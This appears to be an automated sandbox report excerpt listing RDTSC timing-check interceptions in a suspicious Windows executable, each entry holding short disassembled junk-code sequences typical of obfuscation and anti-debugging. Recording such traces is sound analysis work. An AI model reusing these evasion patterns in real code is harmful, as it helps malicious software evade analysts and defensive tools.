Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D937D0 second address: D937D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D34C98 second address: D34CCD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4010EA3D88h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F4010EA3D87h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D34CCD second address: D34CDF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4010E98D4Dh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D974E2 second address: D974EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jp 00007F4010EA3D76h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DA4136 second address: DA4144 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F4010E98D46h 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DA2E97 second address: DA2E9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DA385C second address: DA3862 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DA3862 second address: DA3878 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F4010EA3D7Ch 0x0000000c jp 00007F4010EA3D76h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DA3878 second address: DA387E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DA3A09 second address: DA3A18 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4010EA3D7Ah 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DA3B8A second address: DA3B90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DA3E74 second address: DA3E82 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DA3E82 second address: DA3EA5 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F4010E98D46h 0x00000008 jnp 00007F4010E98D46h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 jmp 00007F4010E98D4Fh 0x00000016 push edx 0x00000017 pop edx 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DA3EA5 second address: DA3EC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007F4010EA3D87h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DA8939 second address: DA8967 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007F4010E98D4Ch 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 push eax 0x00000015 push edi 0x00000016 pop edi 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a push ecx 0x0000001b pop ecx 0x0000001c jmp 00007F4010E98D4Bh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DA8967 second address: DA8971 instructions: 0x00000000 rdtsc 0x00000002 je 00007F4010EA3D76h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DABC53 second address: DABC70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F4010E98D52h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DABC70 second address: DABC74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D73514 second address: D73595 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4010E98D4Ch 0x00000009 popad 0x0000000a push eax 0x0000000b jmp 00007F4010E98D58h 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push esi 0x00000014 call 00007F4010E98D48h 0x00000019 pop esi 0x0000001a mov dword ptr [esp+04h], esi 0x0000001e add dword ptr [esp+04h], 00000016h 0x00000026 inc esi 0x00000027 push esi 0x00000028 ret 0x00000029 pop esi 0x0000002a ret 0x0000002b movsx ecx, di 0x0000002e mov ecx, dword ptr [ebp+122D1A4Eh] 0x00000034 lea eax, dword ptr [ebp+1248F245h] 0x0000003a mov ecx, dword ptr [ebp+122D1BB5h] 0x00000040 nop 0x00000041 jnp 00007F4010E98D57h 0x00000047 jmp 00007F4010E98D51h 0x0000004c push eax 0x0000004d push eax 0x0000004e push edx 0x0000004f jg 00007F4010E98D48h 0x00000055 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D73643 second address: D73647 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D73647 second address: D7364D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D7364D second address: D73653 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D73653 second address: D73675 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4010E98D4Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnc 00007F4010E98D4Ch 0x00000014 jo 00007F4010E98D46h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D73A5D second address: D73A62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D73CBE second address: D73CD3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d je 00007F4010E98D48h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D73CD3 second address: D73CDD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F4010EA3D76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D73CDD second address: D73CF5 instructions: 0x00000000 rdtsc 0x00000002 je 00007F4010E98D46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e pushad 0x0000000f pushad 0x00000010 jnc 00007F4010E98D46h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D73F32 second address: D73F38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D73F38 second address: D73F63 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F4010E98D54h 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push eax 0x00000013 push edx 0x00000014 jno 00007F4010E98D48h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D73F63 second address: D73F98 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4010EA3D87h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [eax] 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007F4010EA3D7Eh 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D73F98 second address: D73F9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D74079 second address: D74096 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4010EA3D89h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D741D1 second address: D741F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F4010E98D46h 0x00000009 ja 00007F4010E98D46h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 nop 0x00000013 mov ecx, eax 0x00000015 push 00000004h 0x00000017 xor dh, FFFFFF83h 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d jno 00007F4010E98D48h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D745A7 second address: D745BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4010EA3D7Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D745BA second address: D745BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D745BF second address: D74649 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4010EA3D7Bh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jnc 00007F4010EA3D8Ah 0x00000013 nop 0x00000014 push 00000000h 0x00000016 push ecx 0x00000017 call 00007F4010EA3D78h 0x0000001c pop ecx 0x0000001d mov dword ptr [esp+04h], ecx 0x00000021 add dword ptr [esp+04h], 0000001Ch 0x00000029 inc ecx 0x0000002a push ecx 0x0000002b ret 0x0000002c pop ecx 0x0000002d ret 0x0000002e push edx 0x0000002f js 00007F4010EA3D88h 0x00000035 call 00007F4010EA3D81h 0x0000003a pop ecx 0x0000003b pop edx 0x0000003c push 0000001Eh 0x0000003e sub dword ptr [ebp+122D182Dh], ecx 0x00000044 nop 0x00000045 push eax 0x00000046 push edx 0x00000047 jmp 00007F4010EA3D83h 0x0000004c rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D74649 second address: D7464E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D74930 second address: D7493E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D7493E second address: D7495A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4010E98D58h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D7495A second address: D74961 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D74961 second address: D74986 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push esi 0x0000000c jno 00007F4010E98D4Ch 0x00000012 pop esi 0x00000013 mov eax, dword ptr [eax] 0x00000015 jbe 00007F4010E98D50h 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D74A4C second address: D74A5F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4010EA3D7Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D74A5F second address: D74A89 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jne 00007F4010E98D46h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F4010E98D59h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D74A89 second address: D74AB0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jnl 00007F4010EA3D76h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov ecx, dword ptr [ebp+122D3AD7h] 0x00000013 lea eax, dword ptr [ebp+1248F289h] 0x00000019 mov cx, 99A0h 0x0000001d nop 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 jno 00007F4010EA3D76h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D74AB0 second address: D74AD7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4010E98D4Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a pushad 0x0000000b popad 0x0000000c pop esi 0x0000000d popad 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F4010E98D4Eh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D74AD7 second address: D74B89 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F4010EA3D8Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b or dword ptr [ebp+122D1A5Ah], edx 0x00000011 jg 00007F4010EA3D90h 0x00000017 lea eax, dword ptr [ebp+1248F245h] 0x0000001d push 00000000h 0x0000001f push ecx 0x00000020 call 00007F4010EA3D78h 0x00000025 pop ecx 0x00000026 mov dword ptr [esp+04h], ecx 0x0000002a add dword ptr [esp+04h], 00000018h 0x00000032 inc ecx 0x00000033 push ecx 0x00000034 ret 0x00000035 pop ecx 0x00000036 ret 0x00000037 mov dword ptr [ebp+122D1BF6h], edx 0x0000003d or edi, 6320B62Ch 0x00000043 mov dword ptr [ebp+122D1CE1h], edi 0x00000049 nop 0x0000004a jmp 00007F4010EA3D83h 0x0000004f push eax 0x00000050 jng 00007F4010EA3D94h 0x00000056 push eax 0x00000057 push edx 0x00000058 jmp 00007F4010EA3D86h 0x0000005d rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D74B89 second address: D5CBA9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push eax 0x0000000a call 00007F4010E98D48h 0x0000000f pop eax 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 add dword ptr [esp+04h], 00000014h 0x0000001c inc eax 0x0000001d push eax 0x0000001e ret 0x0000001f pop eax 0x00000020 ret 0x00000021 sbb edx, 1692C9DAh 0x00000027 call dword ptr [ebp+122D1C89h] 0x0000002d push ebx 0x0000002e pushad 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D5CBA9 second address: D5CBAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DAC1F3 second address: DAC24F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4010E98D55h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a js 00007F4010E98D46h 0x00000010 pushad 0x00000011 popad 0x00000012 jbe 00007F4010E98D46h 0x00000018 popad 0x00000019 jmp 00007F4010E98D52h 0x0000001e popad 0x0000001f pushad 0x00000020 jl 00007F4010E98D4Ah 0x00000026 pushad 0x00000027 jmp 00007F4010E98D52h 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DAC24F second address: DAC255 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DAC255 second address: DAC25B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DAC658 second address: DAC65C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DAC7C0 second address: DAC7C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DAC7C6 second address: DAC7CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DAC7CA second address: DAC7CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DAC7CE second address: DAC7DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DB23F1 second address: DB23F6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DB1047 second address: DB104B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DB1635 second address: DB163C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DB163C second address: DB166A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4010EA3D87h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a pushad 0x0000000b jmp 00007F4010EA3D7Ah 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DB166A second address: DB1670 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DB17BC second address: DB17C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DB17C6 second address: DB17CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DB17CC second address: DB17D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jnl 00007F4010EA3D76h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DB17D9 second address: DB1819 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F4010E98D4Eh 0x0000000a popad 0x0000000b push eax 0x0000000c jmp 00007F4010E98D51h 0x00000011 pop eax 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 jmp 00007F4010E98D53h 0x0000001a push ebx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DB1819 second address: DB1828 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 jp 00007F4010EA3D76h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DB0D00 second address: DB0D04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DB0D04 second address: DB0D15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4010EA3D7Bh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DB0D15 second address: DB0D1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DB0D1B second address: DB0D21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DB0D21 second address: DB0D25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DB0D25 second address: DB0D47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F4010EA3D86h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DB0D47 second address: DB0D5D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4010E98D52h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DB0D5D second address: DB0D7E instructions: 0x00000000 rdtsc 0x00000002 jl 00007F4010EA3D84h 0x00000008 jmp 00007F4010EA3D7Eh 0x0000000d pushad 0x0000000e push eax 0x0000000f pop eax 0x00000010 jng 00007F4010EA3D76h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DB20EF second address: DB2104 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F4010E98D46h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push ebx 0x0000000e pushad 0x0000000f popad 0x00000010 pop ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DB2104 second address: DB2118 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jbe 00007F4010EA3D76h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e js 00007F4010EA3D76h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DB70FE second address: DB7123 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4010E98D58h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jp 00007F4010E98D4Eh 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DBB508 second address: DBB50E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DBB50E second address: DBB512 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DBB665 second address: DBB67D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d jns 00007F4010EA3D76h 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
